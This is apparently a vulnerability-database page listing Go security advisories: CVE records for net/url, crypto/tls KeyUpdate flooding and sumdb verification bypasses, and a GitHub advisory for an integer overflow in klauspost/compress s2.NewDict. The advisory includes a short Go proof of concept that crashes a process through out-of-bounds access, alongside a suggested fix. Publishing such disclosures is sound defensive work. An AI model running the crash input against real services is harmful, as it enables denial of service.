          "value": "Previously, resolving relative paths containing parent directory (\u0027..\u0027) segments performed string conversions and buffer rewrites on each step, resulting in quadratic time complexity and high memory allocation overhead. Now, path resolution operates on a byte buffer using index-based backtracking for \u0027..\u0027 segments, eliminating the quadratic time complexity and significantly reducing memory allocations."
        }
      ],
      "problemTypes": [
        {
          "descriptions": [
            {
              "description": "CWE-407: Inefficient Algorithmic Complexity",
              "lang": "en"
            }
          ]
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-08-13T21:58:53.731Z",
        "orgId": "1bb62c36-49e3-4200-9d77-64a1400537cc",
        "shortName": "Go"
      },
      "references": [
        {
          "url": "https://go.dev/cl/803681"
        },
        {
          "url": "https://go.dev/issue/80494"
        },
        {
          "url": "https://groups.google.com/g/golang-announce/c/94pEornpRlI"
        },
        {
          "url": "https://pkg.go.dev/vuln/GO-2026-6218"
        }
      ],
      "title": "Avoid quadratic complexity in resolvePath in net/url"
    }
  },
  "cveMetadata": {
    "assignerOrgId": "1bb62c36-49e3-4200-9d77-64a1400537cc",
    "assignerShortName": "Go",
    "cveId": "CVE-2026-56860",
    "datePublished": "2026-08-13T21:58:53.731Z",
    "dateReserved": "2026-06-23T15:10:49.353Z",
    "dateUpdated": "2026-08-14T16:14:39.166Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

CVE-2026-56862 (GCVE-0-2026-56862)

Vulnerability from cvelistv5 – Published: 2026-08-13 21:58 – Updated: 2026-08-14 15:29

Title

Limit handshake messages we are willing to accept post-handshake in crypto/tls

Summary

Handshake messages, such as KeyUpdate, are always considered as state-advancing, regardless of whether a handshake has been completed or not. As a result, a malicious client can keep sending KeyUpdate messages to force the server to keep performing key derivation operations indefinitely.

Severity

7.5 (High)


                        
                          CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

SSVC

Exploitation: none Automatable: yes Technical Impact: partial

CISA Coordinator · CISA-ADP (v2.0.3)

Decision recorded 2026-08-14 15:27 UTC

CWE

CWE-770 - Allocation of Resources Without Limits or Throttling

Assigner

Go CNA under the Google root

CNA scorecard E 42/100 over 74 records in the last 180 days details

References

4 references

URL	Tags
https://go.dev/issue/80528
https://go.dev/cl/804261
https://groups.google.com/g/golang-announce/c/94p…
https://pkg.go.dev/vuln/GO-2026-6090

Impacted products

1 product

Vendor	Product	Version
Go standard library	crypto/tls	Affected: 0 , < 1.25.13 (semver) Affected: 1.26.0-0 , < 1.26.6 (semver) Affected: 1.27.0-0 , < 1.27.0-rc.3 (semver)

Credits

Qi Deng of Aurascape.ai

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "metrics": [
          {
            "cvssV3_1": {
              "attackComplexity": "LOW",
              "attackVector": "NETWORK",
              "availabilityImpact": "HIGH",
              "baseScore": 7.5,
              "baseSeverity": "HIGH",
              "confidentialityImpact": "NONE",
              "integrityImpact": "NONE",
              "privilegesRequired": "NONE",
              "scope": "UNCHANGED",
              "userInteraction": "NONE",
              "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
              "version": "3.1"
            }
          },
          {
            "other": {
              "content": {
                "id": "CVE-2026-56862",
                "options": [
                  {
                    "Exploitation": "none"
                  },
                  {
                    "Automatable": "yes"
                  },
                  {
                    "Technical Impact": "partial"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2026-08-14T15:27:34.651997Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "problemTypes": [
          {
            "descriptions": [
              {
                "cweId": "CWE-770",
                "description": "CWE-770 Allocation of Resources Without Limits or Throttling",
                "lang": "en",
                "type": "CWE"
              }
            ]
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2026-08-14T15:29:41.741Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "title": "CISA ADP Vulnrichment"
      }
    ],
    "cna": {
      "affected": [
        {
          "collectionURL": "https://pkg.go.dev",
          "defaultStatus": "unaffected",
          "packageName": "crypto/tls",
          "product": "crypto/tls",
          "programRoutines": [
            {
              "name": "Conn.readRecordOrCCS"
            },
            {
              "name": "Conn.Handshake"
            },
            {
              "name": "Conn.HandshakeContext"
            },
            {
              "name": "Conn.Read"
            },
            {
              "name": "Conn.Write"
            },
            {
              "name": "Dial"
            },
            {
              "name": "DialWithDialer"
            },
            {
              "name": "Dialer.Dial"
            },
            {
              "name": "Dialer.DialContext"
            },
            {
              "name": "QUICConn.HandleData"
            },
            {
              "name": "QUICConn.Start"
            }
          ],
          "vendor": "Go standard library",
          "versions": [
            {
              "lessThan": "1.25.13",
              "status": "affected",
              "version": "0",
              "versionType": "semver"
            },
            {
              "lessThan": "1.26.6",
              "status": "affected",
              "version": "1.26.0-0",
              "versionType": "semver"
            },
            {
              "lessThan": "1.27.0-rc.3",
              "status": "affected",
              "version": "1.27.0-0",
              "versionType": "semver"
            }
          ]
        }
      ],
      "credits": [
        {
          "lang": "en",
          "value": "Qi Deng of Aurascape.ai"
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "Handshake messages, such as KeyUpdate, are always considered as state-advancing, regardless of whether a handshake has been completed or not. As a result, a malicious client can keep sending KeyUpdate messages to force the server to keep performing key derivation operations indefinitely."
        }
      ],
      "problemTypes": [
        {
          "descriptions": [
            {
              "description": "CWE-770: Allocation of Resources Without Limits or Throttling",
              "lang": "en"
            }
          ]
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-08-13T21:58:53.216Z",
        "orgId": "1bb62c36-49e3-4200-9d77-64a1400537cc",
        "shortName": "Go"
      },
      "references": [
        {
          "url": "https://go.dev/issue/80528"
        },
        {
          "url": "https://go.dev/cl/804261"
        },
        {
          "url": "https://groups.google.com/g/golang-announce/c/94pEornpRlI"
        },
        {
          "url": "https://pkg.go.dev/vuln/GO-2026-6090"
        }
      ],
      "title": "Limit handshake messages we are willing to accept post-handshake in crypto/tls"
    }
  },
  "cveMetadata": {
    "assignerOrgId": "1bb62c36-49e3-4200-9d77-64a1400537cc",
    "assignerShortName": "Go",
    "cveId": "CVE-2026-56862",
    "datePublished": "2026-08-13T21:58:53.216Z",
    "dateReserved": "2026-06-23T15:10:49.353Z",
    "dateUpdated": "2026-08-14T15:29:41.741Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

CVE-2026-56864 (GCVE-0-2026-56864)

Vulnerability from cvelistv5 – Published: 2026-08-13 21:58 – Updated: 2026-08-14 16:16

Title

Ignore unrelated, unauthenticated hashes in Lookup in golang.org/x/mod/sumdb

Summary

A malicious GOSUMDB was capable of serving arbitrary module content not contained within the transparency log. This attack allows for a coordinating GOPROXY and GOSUMDB to serve a client malicious module content that cannot be detected by evaluating the transparency log. In order to determine if you have been affected: rm -r go.sum go.work.sum vendor/ && go mod tidy

Severity

7.5 (High)


                        
                          CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

SSVC

Exploitation: none Automatable: yes Technical Impact: partial

CISA Coordinator · CISA-ADP (v2.0.3)

Decision recorded 2026-08-14 16:16 UTC

CWE

CWE-347 - Improper Verification of Cryptographic Signature

Assigner

Go CNA under the Google root

CNA scorecard E 42/100 over 74 records in the last 180 days details

References

5 references

URL	Tags
https://go.dev/issue/80745
https://groups.google.com/g/golang-announce/c/94p…
https://go.dev/cl/815000
https://go.dev/cl/815020
https://pkg.go.dev/vuln/GO-2026-6180

Impacted products

2 products

Vendor	Product	Version
Go toolchain	cmd/go	Affected: 0 , < 1.25.13 (semver) Affected: 1.26.0-0 , < 1.26.6 (semver) Affected: 1.27.0-0 , < 1.27.0-rc.3 (semver)
golang.org/x/mod	golang.org/x/mod/sumdb	Affected: 0 , < 0.40.0 (semver)

Credits

mundur

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "metrics": [
          {
            "cvssV3_1": {
              "attackComplexity": "LOW",
              "attackVector": "NETWORK",
              "availabilityImpact": "NONE",
              "baseScore": 7.5,
              "baseSeverity": "HIGH",
              "confidentialityImpact": "HIGH",
              "integrityImpact": "NONE",
              "privilegesRequired": "NONE",
              "scope": "UNCHANGED",
              "userInteraction": "NONE",
              "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
              "version": "3.1"
            }
          },
          {
            "other": {
              "content": {
                "id": "CVE-2026-56864",
                "options": [
                  {
                    "Exploitation": "none"
                  },
                  {
                    "Automatable": "yes"
                  },
                  {
                    "Technical Impact": "partial"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2026-08-14T16:16:37.911009Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "problemTypes": [
          {
            "descriptions": [
              {
                "cweId": "CWE-347",
                "description": "CWE-347 Improper Verification of Cryptographic Signature",
                "lang": "en",
                "type": "CWE"
              }
            ]
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2026-08-14T16:16:42.248Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "title": "CISA ADP Vulnrichment"
      }
    ],
    "cna": {
      "affected": [
        {
          "collectionURL": "https://pkg.go.dev",
          "defaultStatus": "unaffected",
          "packageName": "cmd/go",
          "product": "cmd/go",
          "vendor": "Go toolchain",
          "versions": [
            {
              "lessThan": "1.25.13",
              "status": "affected",
              "version": "0",
              "versionType": "semver"
            },
            {
              "lessThan": "1.26.6",
              "status": "affected",
              "version": "1.26.0-0",
              "versionType": "semver"
            },
            {
              "lessThan": "1.27.0-rc.3",
              "status": "affected",
              "version": "1.27.0-0",
              "versionType": "semver"
            }
          ]
        },
        {
          "collectionURL": "https://pkg.go.dev",
          "defaultStatus": "unaffected",
          "packageName": "golang.org/x/mod/sumdb",
          "product": "golang.org/x/mod/sumdb",
          "programRoutines": [
            {
              "name": "Client.Lookup"
            }
          ],
          "vendor": "golang.org/x/mod",
          "versions": [
            {
              "lessThan": "0.40.0",
              "status": "affected",
              "version": "0",
              "versionType": "semver"
            }
          ]
        }
      ],
      "credits": [
        {
          "lang": "en",
          "value": "mundur"
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "A malicious GOSUMDB was capable of serving arbitrary module content not contained within the transparency log. This attack allows for a coordinating GOPROXY and GOSUMDB to serve a client malicious module content that cannot be detected by evaluating the transparency log. In order to determine if you have been affected:   rm -r go.sum go.work.sum vendor/ \u0026\u0026 go mod tidy"
        }
      ],
      "problemTypes": [
        {
          "descriptions": [
            {
              "description": "CWE-347: Improper Verification of Cryptographic Signature",
              "lang": "en"
            }
          ]
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-08-13T21:58:53.605Z",
        "orgId": "1bb62c36-49e3-4200-9d77-64a1400537cc",
        "shortName": "Go"
      },
      "references": [
        {
          "url": "https://go.dev/issue/80745"
        },
        {
          "url": "https://groups.google.com/g/golang-announce/c/94pEornpRlI"
        },
        {
          "url": "https://go.dev/cl/815000"
        },
        {
          "url": "https://go.dev/cl/815020"
        },
        {
          "url": "https://pkg.go.dev/vuln/GO-2026-6180"
        }
      ],
      "title": "Ignore unrelated, unauthenticated hashes in Lookup in golang.org/x/mod/sumdb"
    }
  },
  "cveMetadata": {
    "assignerOrgId": "1bb62c36-49e3-4200-9d77-64a1400537cc",
    "assignerShortName": "Go",
    "cveId": "CVE-2026-56864",
    "datePublished": "2026-08-13T21:58:53.605Z",
    "dateReserved": "2026-06-23T15:10:49.354Z",
    "dateUpdated": "2026-08-14T16:16:42.248Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

CVE-2026-56865 (GCVE-0-2026-56865)

Vulnerability from cvelistv5 – Published: 2026-08-13 21:58 – Updated: 2026-08-14 15:34

Title

Fix transparency log tile verification bypass in golang.org/x/mod/sumdb/tlog

Summary

A malicious GOPROXY was previously capable of forging up to two sumdb tiles that allow for a requested module to bypass the GOSUMDB check and persist attacker-controlled module content to a local Go module cache. This attack allows for a malicious GOPROXY to serve malicious module content that cannot be detected by evaluating the transparency log. All tiles are now correctly verified against their parents. In order to determine if you have been affected: rm -r go.sum go.work.sum vendor/ && go mod tidy

Severity

8.4 (High)


                        
                          CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

SSVC

Exploitation: none Automatable: no Technical Impact: total

CISA Coordinator · CISA-ADP (v2.0.3)

Decision recorded 2026-08-14 15:33 UTC

CWE

CWE-347 - Improper Verification of Cryptographic Signature

Assigner

Go CNA under the Google root

CNA scorecard E 42/100 over 74 records in the last 180 days details

References

5 references

URL	Tags
https://go.dev/issue/80744
https://groups.google.com/g/golang-announce/c/94p…
https://go.dev/cl/814960
https://go.dev/cl/815020
https://pkg.go.dev/vuln/GO-2026-6179

Impacted products

2 products

Vendor	Product	Version
Go toolchain	cmd/go	Affected: 0 , < 1.25.13 (semver) Affected: 1.26.0-0 , < 1.26.6 (semver) Affected: 1.27.0-0 , < 1.27.0-rc.3 (semver)
golang.org/x/mod	golang.org/x/mod/sumdb/tlog	Affected: 0 , < 0.40.0 (semver)

Credits

Filippo Valsorda (Geomys)

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "metrics": [
          {
            "cvssV3_1": {
              "attackComplexity": "LOW",
              "attackVector": "LOCAL",
              "availabilityImpact": "HIGH",
              "baseScore": 8.4,
              "baseSeverity": "HIGH",
              "confidentialityImpact": "HIGH",
              "integrityImpact": "HIGH",
              "privilegesRequired": "NONE",
              "scope": "UNCHANGED",
              "userInteraction": "NONE",
              "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
              "version": "3.1"
            }
          },
          {
            "other": {
              "content": {
                "id": "CVE-2026-56865",
                "options": [
                  {
                    "Exploitation": "none"
                  },
                  {
                    "Automatable": "no"
                  },
                  {
                    "Technical Impact": "total"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2026-08-14T15:33:28.143873Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "problemTypes": [
          {
            "descriptions": [
              {
                "cweId": "CWE-347",
                "description": "CWE-347 Improper Verification of Cryptographic Signature",
                "lang": "en",
                "type": "CWE"
              }
            ]
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2026-08-14T15:34:17.235Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "title": "CISA ADP Vulnrichment"
      }
    ],
    "cna": {
      "affected": [
        {
          "collectionURL": "https://pkg.go.dev",
          "defaultStatus": "unaffected",
          "packageName": "cmd/go",
          "product": "cmd/go",
          "vendor": "Go toolchain",
          "versions": [
            {
              "lessThan": "1.25.13",
              "status": "affected",
              "version": "0",
              "versionType": "semver"
            },
            {
              "lessThan": "1.26.6",
              "status": "affected",
              "version": "1.26.0-0",
              "versionType": "semver"
            },
            {
              "lessThan": "1.27.0-rc.3",
              "status": "affected",
              "version": "1.27.0-0",
              "versionType": "semver"
            }
          ]
        },
        {
          "collectionURL": "https://pkg.go.dev",
          "defaultStatus": "unaffected",
          "packageName": "golang.org/x/mod/sumdb/tlog",
          "product": "golang.org/x/mod/sumdb/tlog",
          "programRoutines": [
            {
              "name": "tileHashReader.ReadHashes"
            }
          ],
          "vendor": "golang.org/x/mod",
          "versions": [
            {
              "lessThan": "0.40.0",
              "status": "affected",
              "version": "0",
              "versionType": "semver"
            }
          ]
        }
      ],
      "credits": [
        {
          "lang": "en",
          "value": "Filippo Valsorda (Geomys)"
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "A malicious GOPROXY was previously capable of forging up to two sumdb tiles that allow for a requested module to bypass the GOSUMDB check and persist attacker-controlled module content to a local Go module cache. This attack allows for a malicious GOPROXY to serve malicious module content that cannot be detected by evaluating the transparency log. All tiles are now correctly verified against their parents. In order to determine if you have been affected:   rm -r go.sum go.work.sum vendor/ \u0026\u0026 go mod tidy"
        }
      ],
      "problemTypes": [
        {
          "descriptions": [
            {
              "description": "CWE-347: Improper Verification of Cryptographic Signature",
              "lang": "en"
            }
          ]
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-08-13T21:58:53.475Z",
        "orgId": "1bb62c36-49e3-4200-9d77-64a1400537cc",
        "shortName": "Go"
      },
      "references": [
        {
          "url": "https://go.dev/issue/80744"
        },
        {
          "url": "https://groups.google.com/g/golang-announce/c/94pEornpRlI"
        },
        {
          "url": "https://go.dev/cl/814960"
        },
        {
          "url": "https://go.dev/cl/815020"
        },
        {
          "url": "https://pkg.go.dev/vuln/GO-2026-6179"
        }
      ],
      "title": "Fix transparency log tile verification bypass in golang.org/x/mod/sumdb/tlog"
    }
  },
  "cveMetadata": {
    "assignerOrgId": "1bb62c36-49e3-4200-9d77-64a1400537cc",
    "assignerShortName": "Go",
    "cveId": "CVE-2026-56865",
    "datePublished": "2026-08-13T21:58:53.475Z",
    "dateReserved": "2026-06-23T15:10:49.354Z",
    "dateUpdated": "2026-08-14T15:34:17.235Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

GHSA-259R-337F-4RFW

Vulnerability from github – Published: 2026-10-20 14:33 – Updated: 2026-10-20 14:33

Summary

Compress/s2: Integer Overflow or Wraparound and Out-of-bounds Write in compress

Details

Signed Integer Overflow in s2.NewDict

Summary

A signed integer overflow vulnerability in s2.NewDict() allows an attacker to bypass repeat index validation by supplying a dictionary with a uvarint-encoded repeat value exceeding MaxInt64. When Dict.Encode() is subsequently called, the overflowed negative repeat value causes an out-of-bounds memory access via unsafe.Pointer arithmetic, crashing the process with SIGSEGV.

Package

Name: github.com/klauspost/compress/s2
Ecosystem: Go
Affected versions: <= v1.18.6 (all versions with NewDict function)

Severity

High (7.5) — CVSS v3.1: AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Vulnerability

Type

CWE-190: Integer Overflow or Wraparound
CWE-787: Out-of-bounds Write (via unsafe.Pointer)

Description

The NewDict() function reads a uvarint from dictionary data and converts it to int:

r, n := binary.Uvarint(dict)
// ...
d.repeat = int(r)
if d.repeat > len(dict) {
    return nil
}

When r exceeds MaxInt64 (9223372036854775807), int(r) overflows to a negative value. Since a negative number is never greater than a positive length, the validation check is bypassed.

When Dict.Encode() is called, the negative repeat value causes an integer overflow in encodeBlockDictGo():

repeat := len(dict.dict) - dict.repeat  // overflows: 62 - (-5758978476775341977) = huge positive
candidate := len(dict.dict) - repeat + s // underflows to negative
load32(dict.dict, candidate)             // OOB via unsafe.Pointer

load32 calls le.Load32 which uses unsafe.Pointer arithmetic without bounds checking:

func Load32[I Indexer](b []byte, i I) uint32 {
    return *(*uint32)(unsafe.Add(unsafe.Pointer(unsafe.SliceData(b)), i))
}

This causes a segmentation fault (SIGSEGV) when the negative index is dereferenced.

PoC

package main

import (
    "encoding/binary"
    "fmt"
    "github.com/klauspost/compress/s2"
)

func main() {
    var dictData []byte
    buf := make([]byte, binary.MaxVarintLen64)
    n := binary.PutUvarint(buf, 12687765596934209639) // > MaxInt64
    dictData = append(dictData, buf[:n]...)
    dictData = append(dictData, make([]byte, 16)...) // minimum dict size

    dict := s2.NewDict(dictData)
    // dict is non-nil despite invalid repeat value (overflow bypassed validation)

    src := make([]byte, 64)
    for i := range src { src[i] = byte(i) }
    dict.Encode(nil, src) // SIGSEGV: OOB access via unsafe.Pointer
}

Impact

Denial of Service: The process crashes immediately with SIGSEGV

Attack Vector

Any application that: 1. Accepts user-supplied S2 dictionary data via s2.NewDict() 2. Calls Dict.Encode() on any data ≥32 bytes

Suggested Fix

Validate the uvarint value before converting to int:

if r > math.MaxInt64 {
    return nil
}
d.repeat = int(r)

Or use uint for the repeat field and validate against uint(len(dict)).

References

Source: s2/dict.go lines 59-61 (vulnerability), s2/encode_all.go line 947 (crash site)
Commit: 539243b (v1.18.6 + 4 commits)

Credits

Christopher Linke / https://github.com/celinke97/

Severity

7.5 (High)


                  
                    CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Show details on source website

JSON

To clipboard

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 1.18.6"
      },
      "package": {
        "ecosystem": "Go",
        "name": "github.com/klauspost/compress"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.18.7"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-63209"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-190",
      "CWE-787"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-10-20T14:33:33Z",
    "nvd_published_at": "2026-09-29T15:17:27Z",
    "severity": "HIGH"
  },
  "details": "# Signed Integer Overflow in s2.NewDict\n\n## Summary\n\nA signed integer overflow vulnerability in `s2.NewDict()` allows an attacker to bypass repeat index validation by supplying a dictionary with a uvarint-encoded repeat value exceeding `MaxInt64`. When `Dict.Encode()` is subsequently called, the overflowed negative repeat value causes an out-of-bounds memory access via `unsafe.Pointer` arithmetic, crashing the process with SIGSEGV.\n\n## Package\n\n- **Name:** `github.com/klauspost/compress/s2`\n- **Ecosystem:** Go\n- **Affected versions:** \u003c= v1.18.6 (all versions with `NewDict` function)\n\n## Severity\n\n**High (7.5)** \u2014 CVSS v3.1: `AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H`\n\n## Vulnerability\n\n### Type\n- CWE-190: Integer Overflow or Wraparound\n- CWE-787: Out-of-bounds Write (via unsafe.Pointer)\n\n### Description\n\nThe `NewDict()` function reads a uvarint from dictionary data and converts it to `int`:\n\n```go\nr, n := binary.Uvarint(dict)\n// ...\nd.repeat = int(r)\nif d.repeat \u003e len(dict) {\n    return nil\n}\n```\n\nWhen `r` exceeds `MaxInt64` (9223372036854775807), `int(r)` overflows to a negative value. Since a negative number is never greater than a positive length, the validation check is bypassed.\n\nWhen `Dict.Encode()` is called, the negative `repeat` value causes an integer overflow in `encodeBlockDictGo()`:\n\n```go\nrepeat := len(dict.dict) - dict.repeat  // overflows: 62 - (-5758978476775341977) = huge positive\ncandidate := len(dict.dict) - repeat + s // underflows to negative\nload32(dict.dict, candidate)             // OOB via unsafe.Pointer\n```\n\n`load32` calls `le.Load32` which uses `unsafe.Pointer` arithmetic without bounds checking:\n\n```go\nfunc Load32[I Indexer](b []byte, i I) uint32 {\n    return *(*uint32)(unsafe.Add(unsafe.Pointer(unsafe.SliceData(b)), i))\n}\n```\n\nThis causes a segmentation fault (SIGSEGV) when the negative index is dereferenced.\n\n## PoC\n\n```go\npackage main\n\nimport (\n    \"encoding/binary\"\n    \"fmt\"\n    \"github.com/klauspost/compress/s2\"\n)\n\nfunc main() {\n    var dictData []byte\n    buf := make([]byte, binary.MaxVarintLen64)\n    n := binary.PutUvarint(buf, 12687765596934209639) // \u003e MaxInt64\n    dictData = append(dictData, buf[:n]...)\n    dictData = append(dictData, make([]byte, 16)...) // minimum dict size\n\n    dict := s2.NewDict(dictData)\n    // dict is non-nil despite invalid repeat value (overflow bypassed validation)\n\n    src := make([]byte, 64)\n    for i := range src { src[i] = byte(i) }\n    dict.Encode(nil, src) // SIGSEGV: OOB access via unsafe.Pointer\n}\n```\n\n## Impact\n\n- **Denial of Service:** The process crashes immediately with SIGSEGV\n\n## Attack Vector\n\nAny application that:\n1. Accepts user-supplied S2 dictionary data via `s2.NewDict()`\n2. Calls `Dict.Encode()` on any data \u226532 bytes\n\n## Suggested Fix\n\nValidate the uvarint value before converting to int:\n\n```go\nif r \u003e math.MaxInt64 {\n    return nil\n}\nd.repeat = int(r)\n```\n\nOr use `uint` for the repeat field and validate against `uint(len(dict))`.\n\n## References\n\n- Source: `s2/dict.go` lines 59-61 (vulnerability), `s2/encode_all.go` line 947 (crash site)\n- Commit: 539243b (v1.18.6 + 4 commits)\n\n## Credits\nChristopher Linke / https://github.com/celinke97/",
  "id": "GHSA-259r-337f-4rfw",
  "modified": "2026-10-20T14:33:33Z",
  "published": "2026-10-20T14:33:33Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/klauspost/compress/security/advisories/GHSA-259r-337f-4rfw"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-63209"
    },
    {
      "type": "WEB",
      "url": "https://github.com/klauspost/compress/pull/1163"
    },
    {
      "type": "WEB",
      "url": "https://github.com/klauspost/compress/commit/539243b8823ee8f03e49969823d57c348c917536"
    },
    {
      "type": "WEB",
      "url": "https://github.com/klauspost/compress/commit/8668e357e776d5152ed62f33c17f21b8690664fa"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/klauspost/compress"
    },
    {
      "type": "WEB",
      "url": "https://github.com/klauspost/compress/releases/tag/v1.18.7"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Compress/s2: Integer Overflow or Wraparound and Out-of-bounds Write in compress"
}

Sightings

Author	Source	Type	Date	Other

Nomenclature

Seen: The vulnerability was mentioned, discussed, or observed by the user.
Confirmed: The vulnerability has been validated from an analyst's perspective.
Published Proof of Concept: A public proof of concept is available for this vulnerability.
Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
Not confirmed: The user expressed doubt about the validity of the vulnerability.
Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Vulnerability timeline

Sightings and recorded dates, grouped by day · UTC

Order JSON

Publication & reservation Sightings KEV catalogs Other timestamps

Loading timeline…

The MITRE ATT&CK techniques below are AI-generated suggestions, inferred from the description of the vulnerability by the CIRCL/vulnerability-attack-technique-classification-roberta-base model, served locally by ML-Gateway. They have not been verified by an analyst and are provided for guidance only.
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
Browse all ATT&CK techniques and the vulnerabilities related to each.

Related by attack behaviour

Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.

Action not permitted

(CVE-2026-33818)

CVE-2026-49835 (GCVE-0-2026-49835)

CVE-2026-54787 (GCVE-0-2026-54787)

CVE-2026-56853 (GCVE-0-2026-56853)

CVE-2026-56858 (GCVE-0-2026-56858)

CVE-2026-56859 (GCVE-0-2026-56859)

CVE-2026-56860 (GCVE-0-2026-56860)

CVE-2026-56862 (GCVE-0-2026-56862)

CVE-2026-56864 (GCVE-0-2026-56864)

CVE-2026-56865 (GCVE-0-2026-56865)

GHSA-259R-337F-4RFW

Signed Integer Overflow in s2.NewDict

Summary

Package

Severity

Vulnerability

Type

Description

PoC

Impact

Attack Vector

Suggested Fix

References

Credits

Tags

Sightings

Nomenclature

Vulnerability timeline

Related by attack behaviour